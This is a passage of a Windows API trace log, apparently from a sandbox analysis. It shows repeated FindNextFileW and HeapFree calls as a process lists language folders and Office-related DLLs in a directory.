ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0072.460] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.460] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0072.462] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.462] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0072.463] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.463] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0072.465] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.465] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0072.466] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.466] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0072.468] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.468] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0072.469] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.469] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0072.471] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.471] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0072.479] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.479] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0072.481] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.481] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0072.482] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.483] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0072.484] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.484] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0072.486] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.486] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0072.487] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.487] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0072.884] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.884] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1 [0072.887] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.887] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0072.890] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.890] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0072.892] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.892] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0072.895] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.895] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0072.900] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.900] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0072.902] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.902] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1 [0072.906] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.906] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1 [0072.908] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.908] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0072.911] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.911] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1 [0072.913] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.913] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0072.916] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.916] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0072.918] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.918] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0072.921] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.921] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0074.329] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.329] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0074.331] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.331] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0074.333] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.333] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1 [0074.335] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.335] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1 [0074.336] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.336] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0074.338] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.338] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0074.340] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.340] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0074.342] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.342] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0074.343] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.343] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0074.345] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.345] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0074.347] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.347] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, 